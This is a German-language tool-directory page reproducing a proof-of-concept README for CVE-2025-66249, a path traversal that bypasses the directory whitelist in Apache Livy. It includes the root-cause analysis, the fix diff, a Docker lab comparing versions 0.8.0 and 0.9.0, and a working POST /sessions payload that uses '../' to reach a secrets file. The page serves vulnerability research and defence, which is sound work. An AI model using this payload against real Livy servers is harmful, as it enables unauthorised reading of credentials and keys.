Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-66249-POC — Ein POC für Apache Livy Path Traversal Whitelist Bypass Vulnerability | Kitploit
Tools/GitHubGitHub/sid6224/cve-2025-66249-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Ein POC für Apache Livy Path Traversal Whitelist Bypass Vulnerability

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-66249 — Apache Livy Path Traversal Whitelist Bypass

CVE Livy Severity CWE Type License Platform Language

Nur für Bildungs- und Sicherheitsforschungszwecke. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. → Vollständiger Haftungsausschluss


Überblick

FeldDetail
CVE IDCVE-2025-66249
SchweregradWichtig (CVSS N/A — NVD-Bewertung ausstehend, Stand 15.03.2026)
BetroffenApache Livy 0.3.0-incubating bis 0.8.0-incubating — nur wenn livy.file.local-dir-whitelist auf einen nicht standardmäßigen Wert gesetzt ist
Behoben inApache Livy 0.9.0-incubating
CWECWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal')
Gemeldet2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
MelderHiroki Egawa (Entdecker)

Schwachstellenbeschreibung

Ein authentifizierter Benutzer mit Zugriff auf die REST- oder JDBC-Schnittstelle von Livy kann eine Spark-Sitzung oder einen Stapelauftrag mit einem manipulierten Dateipfad-Konfigurationswert einreichen, der die zulässige Verzeichnis-Whitelist umgeht.

Grundursache — Path-Traversal-Umgehung in der Whitelist-Prüfung (Session.scala)

Wenn livy.file.local-dir-whitelist konfiguriert ist, validiert Livy 0.8.0 eingereichte Pfade durch Aufruf von Java's String.startsWith() auf den rohen, nicht normalisierten Pfad. Diese Prüfung kann mit ../-Traversierungssequenzen umgangen werden:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

Der rohe String beginnt mit /opt/safe-data, daher besteht die Prüfung — aber der Pfad löst zu /opt/sensitive/secret.txt auf, der sich vollständig außerhalb des whitelistierten Verzeichnisses befindet.

Auslösebedingung: Die Schwachstelle kann nur ausgenutzt werden, wenn livy.file.local-dir-whitelist auf einen nicht standardmäßigen (nicht leeren) Wert gesetzt ist. Wenn die Whitelist leer ist (Standard), wird die Pfadvalidierung vollständig übersprungen und das Problem tritt nicht auf.

Auswirkung: Ein Angreifer, der eine Sitzung über die Livy-REST-API einreicht, kann auf beliebige lokale Dateien auf dem Livy-Server-Host zugreifen. In einem gemeinsam genutzten Analyse-Cluster führt dies potenziell zur Offenlegung von Anmeldeinformationen, Schlüsseln, Konfigurationsdateien oder anderen Daten, die für den Benutzer des Livy-Prozesses lesbar sind.


Betroffene Quelldateien

Datei — Session.scala

Verwundbar (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Behoben (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Quellcode — Klon-Befehle

Beide Versionen wurden direkt aus dem offiziellen Apache Livy GitHub-Repository mit den folgenden genauen Befehlen geklont:

Repository: https://github.com/apache/incubator-livy

root@kitploit:~
# Verwundbare Version — geklont in ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Behobene Version — geklont in ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
VersionTagAufgelöster CommitLokaler Pfad
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Exakte Code-Unterschiede

Fix — Session.scala: Paths.get().normalize() vor Whitelist-Prüfung

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Auswirkung in v0.8.0: Die rohe startsWith-Prüfung kann mit einem Path-Traversal-Payload umgangen werden.

Beispiel: Wenn livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (umgangen)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blockiert)

Die Unterschiede wurden durch lokales Klonen beider Tags (siehe oben) und Ausführen von:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Angriffsvektor-Zusammenfassung

root@kitploit:~
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← path starts with whitelisted prefix — String.startsWith() passes
    ← but resolves OUTSIDE the directory via ../ traversal
  }
}
    │
    ▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

Testumgebung

Alle Schritte in diesem PoC wurden auf dem folgenden System ausgeführt und validiert:

KomponenteDetail
Host-BetriebssystemUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Architekturx86_64
Gesamtspeicher15 GiB
Docker-Engine28.2.2
Host-JDKOpenJDK 17.0.18 (wird nur vom Host verwendet – Container verwenden eclipse-temurin:11-jdk-focal)
Container-Basisimageeclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark-Version (beide Images)3.1.3 mit Hadoop 3.2
Livy-Version — verwundbares Image0.8.0-incubating
Livy-Version — behobenes Image0.9.0-incubating

Verzeichnisstruktur

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Proof of Concept

Überblick

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

Vollständige End-to-End-Sequenz — führen Sie die Schritte 1 bis 4 der Reihe nach aus:

root@kitploit:~
Schritt 1: Verwundbares Image erstellen  →  Container starten  →  Prüfen, ob Livy läuft
Schritt 2: validate.sh ausführen         →  VERWUNDBAR bestätigen (Angriff HTTP 201)   →  Container stoppen
Schritt 3: Behobenes Image erstellen       →  Container starten  →  Prüfen, ob Livy läuft
Schritt 4: validate.sh ausführen         →  BEHOBEN bestätigen   (Angriff HTTP 400)     →  Container stoppen

Hinweis: Livy benötigt nach docker run etwa 15–20 Sekunden, um bereit zu sein. Alle folgenden Schritte enthalten ein explizites sleep 20 vor jedem API-Aufruf.


Schritt 1 — Verwundbare Umgebung erstellen und starten (Livy 0.8.0 + Spark 3.1.3)

Dateien:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — bindet auf 0.0.0.0:8998, lokaler Modus, Whitelist = /opt/safe-data

1a. Image erstellen:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Validierung — Image wurde erstellt:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Erwartete Ausgabe:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Container starten:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Validierung — Container läuft:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Erwartete Ausgabe:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Warten, bis Livy gestartet ist, dann REST-API überprüfen:

Livy benötigt ~15–20 Sekunden zur Initialisierung, bevor es Anfragen bedient.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Erwartete Ausgabe:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Verzeichnislayout innerhalb des Containers validieren:

Bestätigen, dass die whitelistierte sichere Datei existiert:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Erwartete Ausgabe:

root@kitploit:~
This file lives inside the whitelisted directory.

Bestätigen, dass die sensible Datei außerhalb der Whitelist existiert:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Erwartete Ausgabe:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Schritt 2 — Validierung gegen die verwundbare Umgebung ausführen

Der verwundbare Container aus Schritt 1 muss noch auf Port 8998 laufen.

Was test/validate.sh testet:

#AngriffPayload-SchlüsselErwartetes Ergebnis bei Livy 0.8.0
1Path-Traversal über String.startsWith() in Session.scalaspark.jars mit ../-TraversierungHTTP 201 — Traversierung umgeht Whitelist

2a. Skript ausführen:

root@kitploit:~
bash test/validate.sh

Hinweis: validate.sh funktioniert wie folgt:

  1. Es pollt GET /sessions, bis Livy antwortet (maximal 60 Sekunden), um zu bestätigen, dass der Server bereit ist.
  2. Es sendet eine POST /sessions-Anfrage über curl mit einem manipulierten conf-Payload, der eine Datei außerhalb der Whitelist (/opt/sensitive/secret.txt) mit ../-Traversierung anvisiert.
  3. Es liest den HTTP-Statuscode: 201 bedeutet, dass Livy den Pfad ohne Normalisierung akzeptiert hat (verwundbar); 400 bedeutet, dass Livy ihn nach Normalisierung abgelehnt hat (behoben).
  4. Wenn eine Sitzung erstellt wurde (HTTP 201), löscht das Skript sie sofort über DELETE /sessions/{id}, um den Server sauber zu halten.
  5. Nach dem Test gibt es eine Zusammenfassung aus und beendet sich mit Code 1 (verwundbar) oder 0 (behoben), was die Verwendung in automatisierten Pipelines ermöglicht.

Erwartete Ausgabe:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Verwundbaren Container stoppen und entfernen:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Validierung — Container ist vollständig entfernt:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Erwartete Ausgabe (leer — keine Zeilen):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Schritt 3 — Behobene Umgebung erstellen und starten (Livy 0.9.0 + Spark 3.1.3)

Dateien:

  • docker/fixed/Dockerfile — identisches Basisimage und Spark 3.1.3, nur Livy-Version ändert sich auf 0.9.0-incubating
  • docker/fixed/livy.conf — identisch mit docker/vulnerable/livy.conf (gleiche Whitelist, Port, Modus)

Durch die Beibehaltung von Spark, Basisimage und aller Konfigurationen identisch zu Schritt 1 wird Livy als einzige Variable isoliert.

3a. Image erstellen:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Validierung — Image wurde erstellt:

root@kitploit:~
docker images cve-2025-66249-fixed

Erwartete Ausgabe:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Container starten:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Validierung — Container läuft:

root@kitploit:~
docker ps --filter name=livy-fixed

Erwartete Ausgabe:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Warten, bis Livy gestartet ist, dann REST-API überprüfen:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Erwartete Ausgabe:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Verzeichnislayout innerhalb des Containers validieren:

Der behobene Container verwendet identische Fixtures wie der verwundbare — dies bestätigt, dass die einzige Variable zwischen den beiden Umgebungen die Livy-Version ist.

Bestätigen, dass die whitelistierte sichere Datei existiert:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Erwartete Ausgabe:

root@kitploit:~
This file lives inside the whitelisted directory.

Bestätigen, dass die sensible Datei außerhalb der Whitelist existiert:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Erwartete Ausgabe:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Schritt 4 — Dieselbe Validierung gegen die behobene Umgebung ausführen

Der behobene Container aus Schritt 3 muss auf Port 8998 laufen. Das Skript ist identisch — keine Änderungen.

Was sich zwischen Schritt 2 und Schritt 4 ändert:

  • Gleicher Payload, gleiches Skript
  • Livy 0.9.0 normalisiert nun Pfade mit Paths.get().normalize() vor der Whitelist-Prüfung
  • Der Angriff wird mit HTTP 400 abgelehnt, bevor eine Sitzung erstellt wird

4a. Skript ausführen:

root@kitploit:~
bash test/validate.sh

Erwartete Ausgabe:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

Was die Fehlermeldung bestätigt:

AngriffHTTPFehlermeldungBehobene Ursache
Path-Traversal über spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() in Session.scala hinzugefügt; löst ../ vor dem Whitelist-Vergleich auf

4b. Behobenen Container stoppen und entfernen:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Validierung — Container ist vollständig entfernt:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Erwartete Ausgabe (leer — keine Zeilen):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Schlussfolgerung

CVE-2025-66249 ist ein einzelner, gezielter Logikfehler in der Whitelist-Durchsetzung, die Livys lokalen Dateisystemzugriff schützt.

Die Whitelist (livy.file.local-dir-whitelist) existierte in allen betroffenen Versionen und war korrekt konfiguriert. Der Fehler lag in der Art und Weise, wie die Whitelist ausgewertet wurde:

Path-Traversal-Umgehung (die einzige Schwachstelle): Der Whitelist-Vergleich in Session.scala verwendete Java's String.startsWith() auf dem rohen Pfadstring. Dies ist für Dateisystempfad-Vergleiche unzureichend, da es ..-Traversierungssegmente nicht berücksichtigt. Ein Pfad wie /opt/safe-data/../sensitive/secret.txt erfüllt die String-Prüfung gegen den Whitelist-Eintrag /opt/safe-data, löst jedoch zu einem Ort auf, der sich vollständig außerhalb davon befindet.

Der Fix in 0.9.0 ist minimal und gezielt: Ein Aufruf von Paths.get().normalize() wird vor dem Whitelist-Vergleich hinzugefügt. Dadurch werden alle ..-Segmente aufgelöst, bevor die startsWith-Prüfung ausgeführt wird, sodass der Traversierungs-Payload korrekt als außerhalb des erlaubten Verzeichnisses liegend identifiziert wird.

Wichtige Erkenntnis für Verteidiger: Die Schwachstelle ist nur ausnutzbar, wenn livy.file.local-dir-whitelist auf einen nicht leeren Wert gesetzt ist. Während die Standardkonfiguration nicht direkt verwundbar ist, ist paradoxerweise jede Bereitstellung, die die Whitelist verschärft hat (d. h. explizit eingeschränkt hat, auf welche Verzeichnisse Livy zugreifen darf), diejenige, die exponiert ist – denn es ist das Vorhandensein der Whitelist, das den fehlerhaften Codepfad aktiviert. Ein Upgrade auf Livy 0.9.0-incubating ist die einzige vollständige Abhilfe.


Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec Offenlegung: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache Mailingliste: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy Projekt: https://livy.apache.org/

Danksagungen

  • Hiroki Egawa — ursprünglicher Melder von CVE-2025-66249 an das Apache-Sicherheitsteam.
  • Apache Livy Maintainer — für die schnelle Triage und den gezielten Fix in v0.9.0-incubating.
  • Apache Sicherheitsteam — für die Koordination des verantwortungsvollen Offenlegungsprozesses.
  • OSS-Sec-Community — für den öffentlichen Offenlegungs-Thread, der unabhängige Analysen ermöglichte.

Mitwirken

Beiträge zur Verbesserung dieses PoC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:

  • Praktiken der verantwortungsvollen Offenlegung befolgen
  • Angemessene Haftungsausschlüsse enthalten
  • Keinen bösartigen Code über die Bildungsdemonstration hinaus enthalten
  • Den Fokus auf den Bildungswert beibehalten

Um einen Beitrag zu leisten, öffnen Sie einen Pull-Request oder erstellen Sie ein Issue mit der Beschreibung der vorgeschlagenen Änderung.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.


Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Proof of Concept demonstriert die Mechanik der Schwachstelle, um das Verständnis und Abwehrmaßnahmen zu unterstützen. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.


Tags

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Tool herunterladen